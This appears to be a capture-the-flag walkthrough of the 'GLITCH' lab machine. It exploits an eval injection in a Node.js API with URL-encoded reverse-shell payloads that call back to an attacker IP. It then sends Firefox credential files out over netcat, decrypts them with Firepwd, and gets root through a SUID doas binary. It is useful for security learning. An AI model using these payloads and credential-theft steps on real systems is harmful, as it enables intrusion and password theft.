Description
Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
Room | GLITCH |
---|---|
OS | Linux |
Difficulty | Easy |
Creator | infamous55 |
Starting off with deploying the machine and quickly scanning the open ports with rustscan,
1
rustscan -a 10.10.12.115 --ulimit 5000
We got the open ports and now we can scan them in detail using nmap,
1
nmap -sC -sV -p80 10.10.12.115 -oN nmap.txt
Result scan shows that only port 80 is open which is running nginx server. Let’s enumerate port 80.
Visit http://10.10.12.115,
we are presented with a distorted picture and we can’t do nothing much with it.
Let’s check the source code,
1
2
3
4
5
6
7
8
9
10
11
12
13
</head>
<body>
<script>
function getAccess() {
fetch('/api/access')
.then((response) => response.json())
.then((response) => {
console.log(response);
});
}
</script>
</body>
</html>
The code inside <script>
tag is interesting, it runs fetch API to send a request to /api/access
and extracts the JSON response to log it.
After discovering endpoint /api/access
, we can navigate to see what’s there,
we got a base64 encoded token.
Let’s decode this token using command,
1
echo "b64-string" | base64 -d
we got decoded token, which is the first flag of the machine.
Let’s set the decoded value in storage firefox dev tools,
and we will refresh the webpage and we will get new page,
but there is nothing new on this webpage.
Let’s take a look at source code,
1
2
3
4
5
6
7
<section id="click-here-sec">
<a href="#">click me.</a>
</section>
<script src="js/script.js"></script>
</body>
</html>
We got a path to javascript file.
Let’s take a look at javascript file,
1
2
3
4
5
6
(async function () {
const container = document.getElementById('items');
await fetch('/api/items')
.then((response) => response.json())
.then((response) => {
response.sins.forEach((element)
we have another function which holds the path /api/items.
Let’s visit http://glitch.thm/api/items,
We get a response, let’s switch to curl and investigate further,
1
curl http://glitch.thm/api/items
A normal request like above is doing a GET, what happens if we instead try a POST:
1
curl -X POST http://glitch.thm/api/items
we can assume there is a parameter needed based on that response.
We can try to fuzz the parameter,
1
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 400 -X POST -u http://glitch.thm/api/items\?FUZZ\=test
we’ve fuzzed the parameter ‘cmd’ and told the wfuzz to only display results were the response wasn’t 400 Bad Request.
Let’s use the curl command again using the parameter we got,
1
curl -X POST http://glitch.thm/api/items?cmd=test
we got a lengthy error message which tells us 2 things.
First things there is a function which doesn’t like our input,
we got another error in NodeJs application as it mentions node_modules,
I don’t know about the eval function and if it’s exploitable, but a quick search found this and this, both explain how to take advantage of it.
Let’s start netcat listener using nc -nvlp 4444
and then let’s execute this command,
1
curl -X POST http://glitch.thm/api/items?cmd=require('child_process').exec('nc -e /bin/sh 10.9.2.86 4444')
it won’t work since we haven’t encoded it yet.
Let’s try this command again after encoding it,
1
curl -X POST http://glitch.thm/api/items?cmd=require%28%27child_process%27%29.exec%28%27nc%20-e%20%2Fbin%2Fsh%2010.9.2.86%204444%27%29
which looks good but listenerp doesn’t catch anything. So let’s change the payload to netcat reverse one-liner from bash reverse one-liner.
Executing this command and we will get the shell,
1
curl -X POST http://glitch.thm/api/items?cmd=require%28%27child_process%27%29.exec%28%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.9.2.86%204444%20%3E%2Ftmp%2Ff%27%29
Let’s improve upon this shell using sequence of commands,
1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116
Enumerating user directory and we got the user flag,
While there is a hidden firefox directory, I decide to navigate to it. This may contain saved passwords for the user. After enumerating, there are two files that can be used to extract any saved credentials.
First let’s copy the files over to our kali machine by starting netcat listener,
1
2
nc -nvlp 5555 > key4.db (attacker)
nc -nv 10.9.2.86 5555 < key4.db (victim)
doing same with second file,
1
2
nc -nvlp 5555 > logins.json
nc -nv 10.9.2.86 5555 < logins.json
Let’s grab the script Firepwd.py from github, an open source tool to decrypt Mozilla protected passwords.
Let’s clone the file from github, installing requirements, moving both files to firepwd directory and then running the script using python3,
1
2
3
git clone https://github.com/lclevy/firepwd.git; cd firepwd; pip install -r requirements.txt
mv key4.db logins.json /path/to/firepwd
python3 firepwd.py
and the bottom of the screenshot, we get our username and password in plain text.
Next, we can switch to v0id user,
1
su v0id
Now, checking if there is any binary which we can run using sudo
to escalate our privileges,
1
sudo -l
we can’t run any because we don’t have permission to.
Let’s find those binaries which have SUID bit set on them,
1
find / -perm -04000 -type f 2>/dev/null
there is /usr/local/bin/doas binary which has SUID bit set on it. So we can use this binary to escalate our privileges.
Running this binary,
1
/usr/local/bin/doas
we now know how to run this binary with some arguments.
Using command below, we can escalate our privileges to root user,
1
/usr/local/bin/doas -u root /bin/bash